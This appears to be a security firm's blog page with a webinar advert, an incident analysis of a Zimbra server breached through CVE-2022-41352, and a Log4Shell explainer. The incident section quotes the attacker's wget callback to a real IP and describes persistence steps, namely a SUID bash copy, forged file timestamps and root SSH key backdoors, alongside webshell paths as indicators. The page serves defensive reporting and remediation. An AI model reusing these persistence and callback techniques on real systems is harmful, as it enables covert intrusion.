The human factor is the number one vulnerability in any cyber defense. Conventional Security Awareness Programs focused on automation surprisingly have proved ineffective even for giant corporations. We are not even speaking about small & medium enterprises lacking funds and resources. Security Awareness is a top priority for them.

Our Nazar Tymoshyk and Hlib (Gleb) Yevtushenko are going to share lots of insight on how to neutralize a ‘patient zero’, make the human layer one of the most effective pillars of your cyber defense, and significantly reduce the risk by combining Security Awareness with MDR.

Join our first virtual event “How to make your employees your first and best firewall against Hackers” from the “Lean Security Howtos” webinar series and learn how to mitigate human risks & avoid getting hacked!

Incident Overview

On October 7, the email server of a big commercial pharma organization was attacked. It was running Zimbra 8.x version on CentOS and got quickly compromised. Malicious actor exploited Internet-facing Zimbra Collaboration Suite using CVE-2022-41352 “cpio” zero-day vulnerability.

Our investigation revealed and was able to confirm that unknown APT groups are massively exploiting an unpatched vulnerability (CVE-2022-41352) in Zimbra Collaboration Suite to infect vulnerable servers.

Initial foothold was discovered through CrowdStrike EDR on that Linux mail server unfortunately for the sutomer it just detected but did not prevent the exploitation because of the insufficient Prevention Policy aggressiveness as customer had just started dealing with Crowdstrike software and it was in fine-tuning mode. Soon after the detection, MDR/SOC team initiated Incident Response, gathered information and contacted the client’s representatives via Google Meet.

After the approval, the host was network-isolated, all client’s endpoints were moved to the highest Prevention Policy.

Recommendations & Remediation

Since Zimbra released a patch for this vulnerability, the best course of action is to update your devices immediately. If this, for some reason, is not possible, installing pax on the machine hosting the Zimbra installation will prevent the vulnerability from being exploitable. pax is available from package managers (such as apt and yum) of all major Linux distributions. Among all Linux variants officially supported by Zimbra, only Ubuntu installs pax by default and is therefore not affected by CVE-2022-41352:

Distribution	Vulnerable to CVE-2022-41352
Red Hat Enterprise Linux 7	Yes
Red Hat Enterprise Linux 8	Yes
CentOS 7	Yes
CentOS 8	Yes
Oracle Linux 7	Yes
Oracle Linux 8	Yes
Rocky Linux 8	Yes
Ubuntu 16.04 LTS	No
Ubuntu 18.04 LTS	No
Ubuntu 20.04 LTS	No

Please note that installing pax doesn’t address the root issue with any distribution, where other program paths, both within and outside of Zimbra could still cause cpio to process untrusted data.

After taking the aforementioned mitigation steps, owners of Zimbra servers are encouraged to check for traces of compromise. The following paths are known locations for webshells deployed by malicious actors currently leveraging CVE-2022-41352:

123456

/opt/zimbra/jetty/webapps/zimbra/public/.error.jsp/opt/zimbra/jetty/webapps/zimbra/public/ResourcesVerificaton.jsp/opt/zimbra/jetty/webapps/zimbra/public/ResourceVerificaton.jsp/opt/zimbra/jetty/webapps/zimbra/public/ZimletCore.jsp/opt/zimbra/jetty/webapps/zimbra/public/searchx.jsp/opt/zimbra/jetty/webapps/zimbra/public/seachx.jsp

In addition, it is worth noting that the Metasploit exploit drops its webshell in the following location:

1	/opt/zimbra/jetty_base/webapps/zimbra/[4-10 random characters].jsp

If you discover one of these files on your Zimbra installation, please contact an incident response specialist as soon as possible. Removing the file is not enough. Performing disinfection on Zimbra is extremely difficult, as the attacker will have had access to configuration files containing passwords used by various service accounts. These credentials can be used to regain access to the server if the administrative panel is accessible from the internet. In addition, considering the rudimentary nature of all webshells we have discovered so far, it is almost certain that attackers will deploy more robust and sophisticated backdoors as soon as they get the chance.

Case Details

October 7, mail server running Zimbra 8.x version on CentOS was compromised. An unidentified malicious actor exploited Internet-facing Zimbra Collaboration Suite using CVE-2022-41352 “cpio” zero-day vulnerability.

After the approval, the host was network-isolated, all client’s endpoints were moved to the highest Prevention Policy.

Based on the CrowdStrike data, IR team stopped the threat quickly enough and did not find any traces of data exfiltration, confidential data access or any activity that may severely harm business continuity.

Initial Access

On October 7, at 15:55, malicious actor achieved RCE with root permissions via Zimbra vulnerability.The server infection began from downloading a few unknown files, most notably /tmp/.opt/sh. Content and purpose of other files are unknown, as well as the reason for the new Nginx server execution.

Execution & Reconnaissance

A few seconds later after the download, malicious actor executed an unknown file: /opt/zimbra/common/libexec/slapd -u root -g root -f /tmp/.opt/cfg2

Immediately after, the main infection script was started. Its purpose was to deeply persist on the system.

Persistence & Defense Evasion

As seen from the CrowdStrike process timeline, the malicious script was executed successfully, given the wget command to the attackers host with status=0 URL parameter.

“Zero” status indicates successful persistence via SSH key, which will be proven a few slides later.

Main Script: Bash copy with SUID

The hacker copied the Bash binary to /usr/lib/sftp in order to avoid detection via logs analysis.

To make it work, new Bash copy was made executable and was given SUID flag to run as root.

The last trick to avoid detection was to use touch -r command and copy modification time from passwd to the newly created backdoor.

Main Script: Web shell & SSH key

The web shell part seems to be incorrect. It does not create a new one, but only renames the old web shell, if exists. According to our analysis, old web shell did not exist during the script execution.

Then, the hacker prepares a few reusable functions and creates new SSH key pair. It was meant to be used for SSH backdoor on root user.

Main Script: SSH persistence details

The adversary verified many sshd file configurations to ensure that backdoored key will work as expected.

Furthermore, the hacker tuned firewall rules and changed default root shell to guarantee correct exploitation.

As a part of defense evasion, touch -d command was used to revert original modification time of the affected sshd config.

Main Script: Cleanup and callback

The last action the script performed was to notify the attacker-controlled server about the end of exploitation. As was shown in the logs before, the callback status is zero, which means success.

• wget -O – http://198.204.241.2:443?port=22&status=0

Finally, the hacker patched the exploited CVE simply by removing the vulnerable cpio package and restarting the Zimbra service. Since the CVE is actively exploited, this was the logical step to avoid conflicts with other hackers’ activities while retaining a solid persistence on the host.

Main Script: Attachments

The SOC team has not detected any further suspicious SSH logins, exfiltration attempts or other suspicious actions on all of the monitored client’s devices.

Still, the client has provided multiple proofs of successful exploitation. Clockwise, the screenshots are:

• New sftp binary with the same size as bash, having SUID flag and modified timestamp
• Infected .ssh folder containing hacker’s keys and modified authorized_keys file
• SSH backdoor in authorized_keys file, the same as in the presented script

Customer reaction:

Based on the CrowdStrike data, UnderDefense Incident Response team stopped the threat quickly enough before any negative consequences. Incident Response did not find any traces of data exfiltration, confidential data access or any activity that might have severely harmed business continuity.

The client chose to go with a complete migration to a clean server and copy the Zimbra database and its configs to the new server. Given that fact, it is highly recommended to:

• Install the newest Zimbra version, and mitigate the vulnerability as described here
• Ensure Zimbra is installed from a service, low-privileged user, not root account
• Provide file integrity check on all Zimbra files to eliminate .jsp backdoors
• Reset passwords for the infected server users, enable MFA for Zimbra admins

In the end of 2021, the whole digital world has suffered the new cybersecurity flaw named Log4Shell. A new vulnerability is considered to be one of the worst that have been discovered during the last years. It scored 10 out of 10 points on the CVSS vulnerability rating scale, and it puts countless servers at risk.

What is Log4Shell?

On December 9th, a critical vulnerability that allows arbitrary code to be executed was discovered. The exposure got the code CVE-2021-44228.

The Log4Shell is a vulnerability in the open-source logging library, Log4j version 2, which is used by millions of Java-based applications/servers to log error messages. Such digital giants as Tesla, Twitter, Apple iCloud, Amazon, and millions of other companies use the Log4j library.

There is a lookup substitution function in the Log4j library. Log4Shell vulnerability exists because lookup substitutions are not protected enough when dealing with user-controlled input. Unauthenticated users can exploit this vulnerability via a web request to execute arbitrary code with the permission level of the running Java process.

The first worldwide famous target was Minecraft. On December 10th, people started sharing videos showing that, while playing online, they could just insert code to chat on the server and seize power over the server. But most likely, everything started earlier. Cloudflare -Content Delivery Network and DDoS mitigation services provider – checked their systems and noticed that the first attack on their clients with Log4Shell vulnerability had been tried to conduct on December 1st.

What makes Log4j uniquely dangerous even though you seem protected

Exploiting Log4Shell vulnerability allows hackers to launch Remote Code Execution (RCE) and remotely take full control of the victims’ systems. Hackers are already actively exploiting this vulnerability. For the last week, Ransomware groups weaponized their toolset with this exploit and are using it to disrupt normal businesses operations, exfiltrating data & making affected servers unavailable for customers.

One more point which makes Log4Shell as dangerous as it is the simplicity of exploitation. Even “junior” hackers can use this exploit. To gain control over the victim’s system, a hacker inserts the code anywhere this library handles – fill the form the website, modify website URI or Browser user-agent, or text in the support chat – and it will lead to code execution.

The whole java-world is trying to deal with Log4Shell and emphasize that it is the highest possible priority for all-sized businesses. Cisco, Apple iCloud, Microsoft, and so many other huge technology companies have already stated that some of their systems were vulnerable, but they are fixing it. But for small-sized companies without a cybersecurity department, it might be quite hard to mitigate the attack independently.

Which Version is not affected?

Almost all versions of log4j version 2 are affected. On December 14th, version 2.15 was found to still have a possible vulnerability. And a few days later, a Denial of Service (DoS) vulnerability was found in 2.16 too. The developers have already prepared version 2.17 and, as of December 20th, recommend updating the library again.

How to Mitigate the Log4Shell Vulnerability? First aid actions

Put a high priority on your IT/DevOps on patching/mitigating this vulnerability. This is worth immediate effort.

Update

It was previously thought that to be not vulnerable to Log4Shell, it is enough to turn off the lookup substitution function. But after a few days, it came across that it doesn’t work like that. Generally, the main action now (on December 20th) is to update the Log4J library to 2.17, which is supposed to be safe and has lookups turned off.

“To my satisfaction, our programs are not written in Java,” – you might think. But the point is that you may have hundreds of different systems, and they most likely are not developed by the inside team but developed by third parties – as it usually occurs. Therefore, you might not even know what is inside these systems. In this case, you should look at the product’s website or contact support for instructions on what to do to be safe.

Constant Security Monitoring

Log4Shell vulnerability is one of many, critical vulnerabilities that were found during the past ten years. And the situation is constantly evolving. The only way to see what is happening inside your system is to have 24×7 security monitoring and threat remediation and response. It will help you identify your vulnerable internal and external assets, patch production, review your log files for any Remote Command Execution attempts. Security analytics can see attempts to exploit Log4Shell vulnerability in the logs and block them*.

*Only in one client, the UnderDefense Managed Detection and Response team blocked six attempts to exploit this vulnerability only a week after the vulnerability was discovered.

A firewall is not a panacea

A firewall can block the attempts to exploit Log4Shell vulnerability, but this is not a panacea because the firewall main task is “not to pass such text.” But the exploitation of this vulnerability can vary. Hackers can easily make it so that the text does not match 100%, writing the same code using different methods, but still works WAF bypass. Accordingly, WAF is not enough but still shouldn’t be neglected.

Enable blocking on Web Application Firewall through AWS WAF, Cloudflare, or any other WAF you have, or directly on your web-server, reverse-proxy, load balancer.

Penetration Testing

After remediating this vulnerability with your DevOps team, it is worth running a penetration test to ensure external and internal systems are patched correctly, and other old vulnerabilities are not exploitable. Generally, pentesters will do the same as hackers do – try to conduct an attack on the vulnerable system. But don’t forget about other vulnerabilities that existed before Log4Shell and didn’t disappear. It is the same as having 12 bad teeth, but to treat only 1 of them. So, conducting a pentest, it is better not to choose only one vulnerability test.

Conclusion

Since December 9th, developers have thought that user can just turn off lookups in the Log4J library to fix the vulnerability. But a few days ago came across that this method doesn’t work, and millions of systems still stay vulnerable. Developers told to update the Log4J v2 library to 2.16. And people did it. But recently, the vulnerability was also found in 2.16, and now there is a 2.17 version, which is supposed to be safe.

The situation is evolving. Log4Shell is something new, something dangerous, and something that is not studied enough. We recommend you to have your finger on the pulse and take care of your cybersecurity.